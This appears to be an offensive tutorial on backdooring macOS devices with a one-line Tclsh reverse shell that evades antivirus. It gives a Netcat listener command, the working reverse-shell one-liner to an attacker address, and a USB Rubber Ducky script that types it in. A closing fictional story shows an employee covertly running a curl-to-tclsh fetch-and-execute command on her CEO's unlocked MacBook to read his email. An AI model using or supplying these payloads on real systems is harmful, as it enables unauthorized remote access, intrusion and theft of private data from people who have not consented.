How to Use One Tclsh Command to Bypass Antivirus Protections

Using Netcat to backdoor a macOS device has its short-comings. If the compromised Mac goes to sleep, the Netcat background process will occasionally fail to terminate correctly; This leaves Netcat running infinitely in the background and the attacker with no new way into the device. As an alternative, we'll use the lesser-known Tcl shell which can handle abrupt backdoor disconnections.

What Is Tcl?

Tcl (which stands for "Tool Command Language") is an open-source, general-purpose dynamic programming language similar to Bourne Shell (sh), C Shell (csh), and Perl. Since this is a general purpose language, it can be used with many things such as networking, administration, and desktop applications. Tcl is mature, cross-platform, easily deployed, and highly extensible, according to its site.

Tclsh is a shell-like application that reads Tcl commands. Similar to Python or Bash, if Tclsh is run with no arguments in a Terminal, it opens interactively and awaits further commands from the user. Tcl scripts can also be created using the .tclshrc and .tcl file extensions.

Why Is Tcl Better Than Python/Bash Backdoors?

As mentioned, creating Netcat backdoors can be established with minimal characters, making it the ideal method for quickly getting remote access to a Mac desktop or laptop. However, if the MacBook or other macOS device suddenly goes to sleep, locks, or the Wi-Fi connection is lost while the attacker is issuing remote commands, the Netcat process may become frozen and fail to terminate; This ultimately leaves the attacker with no new way to remotely access the device.

Fortunately, Tclsh handles sudden disconnections gracefully and is already present in all macOS devices. If you're a macOS user, you can test this by opening a Terminal and typing **tclsh**. You'll find that **ls** and **ifconfig** function as expected.

Step 1 Start a Netcat Listener

To start using Tclsh as a backdooring mechanism, open a terminal in Kali (or any Unix-based operating system with Netcat installed) and type the below command to start a Netcat listener.

```
nc -l -p 9999
```

Netcat will open a listening (**-l**) port on every available interface. If you're working in a local network, the Netcat listener will be available on your local address (e.g., **192.168.0.X**). If the listener is started on a virtual private server (VPS), be sure to use your VPS IP address in future Tclsh commands. The port (**-p**) number (**9999**) is arbitrary and can be changed to any number below 65535.

Step 2 Execute the Tclsh Command

Finally, run the below command on any macOS device to establish a remote connection. Remember to change the **1.2.3.4** address to the attackers local or VPS address.

```
echo 'set s [socket 1.2.3.4 9999];while 42 { puts -nonewline $s "hacker> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh &
```

This command will create a series of variables and ultimately establish a connection between the macOS device and the attacker's system using Tclsh. The established shell will function as expected, similar to any Terminal or Netcat shell you might've used in the past.

Step 3 Rubber Ducky Payloads (Optional)

In future articles, I'll dive deeper into social engineering techniques for tricking macOS users into executing our nefarious commands. For now, let's focus on using a USB Rubber Ducky to execute the command where a few seconds of physical access is possible. Below is an example payload.

```
DELAY 1500
GUI SPACE
DELAY 350
STRING terminal
DELAY 100
ENTER
DELAY 1000
STRING echo 'set s [socket 1.2.3.4 9999];while 42 { puts -nonewline $s "hacker> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh &
ENTER
GUI q
```

This Ducky Script will use Spotlight to open a Terminal window and very quickly type the long Tclsh command. When complete, the Terminal will close.

It Could Happen to You

How often does the average user step away from their unlocked laptop? More often than one might think. People in positions of power, especially, often make the mistake of believing their employees respect (or fear) them too much to enter their office and personal space when they're not around.

Continuing my one-line payload series, below is another fictional short story that illustrates how easy an employee at a company can compromise a coworker's device.

While the below story is entirely fictional and hypothetical, I did test the featured payload against macOS High Sierra where Avast antivirus software was installed.

The CEO & the Hacker

Mitnick & Ridpath was a successful California-based law firm with two contract lawyers at their disposal, Susan Headley and Ramy Badir. While at the office one afternoon, Susan overheard two payroll specialists on their lunch break chatting about lawyers and their annual income. They speculated that Susan earned a third of Ramy's average salary based on invoices they've processed for the firm.

The specialists remained in the back of Susan's mind for a few days until she decided to find out if the gossip was true discreetly. The paper records at the firm which contained the invoices were in filing cabinets secured by high-security locks that required a nine-digit PIN. Obtaining the PIN and accessing the cabinets when no one was around would be extremely difficult.

Susan remembered the invoices were occasionally emailed to Mike Ridpath, the CEO of the firm, for approval; This meant Susan needed to access Mike's corporate email account to view the invoices sent by Ramy.

The partners, lawyers, and paralegals met weekly at the firm to discuss open cases; This was when Susan tried to gain access to Mike's email account. She knew he used Avast security software with the latest MacBook Pro that didn't use standard USB ports; This

meant a USB Rubber Ducky was out of the question. She would need a few seconds directly in front of Mike's computer to enter the Tclsh command manually.

At this particular meeting, there were four people in the room. Susan and her assistant, a paralegal, and Mike Ridpath. A conversation about legal cases transpired as expected. The meeting was nearly over when Mike received a personal phone call and stepped out of the office. Susan pretended to make a phone call to avoid engaging with others in the office. Her assistant and the paralegal decided to take this opportunity to refill their coffee cups and chat amongst themselves by the window on the opposite side of the office.

The paralegal had their back to Mike's MacBook. The assistant wasn't in direct view of the MacBook but might see Susan interact with the laptop in their peripheral view. It would be highly unusual for someone to use Mike's laptop, especially when he wasn't present, but Susan knew there wouldn't be another opportunity.

Casually, she walked over to Mike's unlocked MacBook, pressed *Command-Space* on the keyboard to raise the Spotlight Search. Then, she typed "ter" and hit *Return* when Terminal was selected. With a Terminal window open, using only one hand, she typed the command.

```
curl ptpb.pw/ovTg | tclsh - &
```

She quickly pressed *Command-Q* to close the Terminal application, then nonchalantly stepped away from Mike's MacBook, still pretending to talk on the phone.

Susan's assistant noticeably glanced at her while still chatting with the paralegal. There was a deafening moment of pause while Susan and her assistant stared blankly at each other, but her assistant looked back at the paralegal and continued their conversation. Her assistant didn't seem to notice, and even if they did, they didn't seem to care.

Stay Tuned for More One-Liner Payloads...

This is just one fictional example of how someone could pwn a MacBook or Mac desktop computer with a single command. There are many more instances where an attacker could gain access to a Mac to deliver a payload unsuspectingly. In upcoming articles, I'll show more lesser-known programs built into macOS that can be abused by hackers.